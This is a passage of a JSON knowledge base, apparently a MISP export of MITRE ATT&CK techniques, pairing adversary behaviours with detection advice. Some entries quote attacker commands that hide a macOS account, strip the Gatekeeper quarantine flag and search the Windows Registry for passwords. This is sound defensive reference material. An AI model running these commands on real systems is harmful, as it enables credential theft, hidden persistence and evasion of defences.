          "https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf",
          "https://www.us-cert.gov/ncas/alerts/TA17-293A",
          "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
        ]
      },
      "uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
      "value": "Forced Authentication - T1187"
    },
    {
      "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator",
      "meta": {
        "external_id": "T1078",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation",
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "Authentication logs",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1078",
          "https://technet.microsoft.com/en-us/library/dn535501.aspx",
          "https://technet.microsoft.com/en-us/library/dn487457.aspx"
        ]
      },
      "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
      "value": "Valid Accounts - T1078"
    },
    {
      "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
      "meta": {
        "external_id": "T1007",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1007"
        ]
      },
      "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
      "value": "System Service Discovery - T1007"
    },
    {
      "description": "Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including:\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics  on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)\n\nDetection: Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Web proxy, File monitoring",
      "meta": {
        "external_id": "T1195",
        "kill_chain": [
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "Web proxy",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1195",
          "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
          "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/",
          "https://www.commandfive.com/papers/C5%20APT%20SKHack.pdf",
          "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf"
        ]
      },
      "uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
      "value": "Supply Chain Compromise - T1195"
    },
    {
      "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: macOS\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root",
      "meta": {
        "external_id": "T1147",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Authentication logs",
          "File monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1147",
          "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty"
        ]
      },
      "uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
      "value": "Hidden Users - T1147"
    },
    {
      "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n===Mac===\n\nOn Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.\n\n===Linux===\n\nOn Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator",
      "meta": {
        "external_id": "T1033",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1033"
        ]
      },
      "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
      "value": "System Owner/User Discovery - T1033"
    },
    {
      "description": "Some adversaries may split communications between different protocols.  There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions.  The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1026",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Netflow/Enclave netflow",
          "Process use of network",
          "Malware reverse engineering",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1026",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091",
      "value": "Multiband Communication - T1026"
    },
    {
      "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.\n\nContributors: Ryan Becwar, Vincent Le Toux",
      "meta": {
        "external_id": "T1097",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "Authentication logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1097",
          "https://adsecurity.org/?p=556",
          "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
          "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
        ]
      },
      "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c",
      "value": "Pass the Ticket - T1097"
    },
    {
      "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WinRM listener turned on and configured on remote system\n\nRemote Support: Yes",
      "meta": {
        "external_id": "T1028",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution",
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Authentication logs",
          "Netflow/Enclave netflow",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1028",
          "http://msdn.microsoft.com/en-us/library/aa384426",
          "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
        ]
      },
      "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39",
      "value": "Windows Remote Management - T1028"
    },
    {
      "description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: macOS\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
      "meta": {
        "external_id": "T1160",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "Process Monitoring",
          "File monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1160",
          "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
          "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf",
          "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf"
        ]
      },
      "uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
      "value": "Launch Daemon - T1160"
    },
    {
      "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: macOS\n\nData Sources: System calls, Process Monitoring\n\nPermissions Required: Administrator",
      "meta": {
        "external_id": "T1142",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "System calls",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1142",
          "https://en.wikipedia.org/wiki/Keychain%20(software)",
          "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
        ]
      },
      "uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d",
      "value": "Keychain - T1142"
    },
    {
      "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1123",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Process monitoring",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1123"
        ]
      },
      "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
      "value": "Audio Capture - T1123"
    },
    {
      "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1024",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Netflow/Enclave netflow",
          "Process use of network",
          "Malware reverse engineering",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1024",
          "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
          "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
        ]
      },
      "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
      "value": "Custom Cryptographic Protocol - T1024"
    },
    {
      "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: Yes",
      "meta": {
        "external_id": "T1061",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Binary file metadata",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1061"
        ]
      },
      "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228",
      "value": "Graphical User Interface - T1061"
    },
    {
      "description": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)\n\nDetection: Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Network protocol analysis, Packet capture\n\nDefense Bypassed: Log analysis\n\nPermissions Required: Administrator\n\nContributors: Vincent Le Toux",
      "meta": {
        "external_id": "T1207",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Authentication logs",
          "Network protocol analysis",
          "Packet capture"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1207",
          "https://www.dcshadow.com/",
          "https://adsecurity.org/?page%20id=1821",
          "https://github.com/shellster/DCSYNCMonitor",
          "https://msdn.microsoft.com/en-us/library/ms677626.aspx",
          "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"
        ]
      },
      "uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a",
      "value": "DCShadow - T1207"
    },
    {
      "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\n\nDetection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: macOS\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator",
      "meta": {
        "external_id": "T1144",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1144",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
          "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
          "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
          "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/"
        ]
      },
      "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e",
      "value": "Gatekeeper Bypass - T1144"
    },
    {
      "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n*Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n*Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>\n\nDetection: Monitor processes for applications that can be used to query the Registry, such as Reg, and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process Monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys.\n\nContributors: Sudhanshu Chauhan, @Sudhanshu_C",
      "meta": {
        "external_id": "T1214",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "Process command-line parameters",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1214",
          "https://pentestlab.blog/2017/04/19/stored-credentials/"
        ]
      },
      "uuid": "2edd9d6a-5674-4326-a600-ba56de467286",
      "value": "Credentials in Registry - T1214"
    },
    {
      "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1008",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Netflow/Enclave netflow",
          "Malware reverse engineering",
          "Process use of network",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1008",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
      "value": "Fallback Channels - T1008"
    },
    {
      "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.\n\nHigher privileges are often necessary to perform additional actions such as some methods of Credential Dumping. Look for additional activity that may indicate an adversary has gained higher privileges.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Error Reporting, Process monitoring, Application Logs\n\nEffective Permissions: User\n\nPermissions Required: User\n\nSystem Requirements: In the case of privilege escalation, the adversary likely already has user permissions on the target system.",
      "meta": {
        "external_id": "T1068",
        "kill_chain": [
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
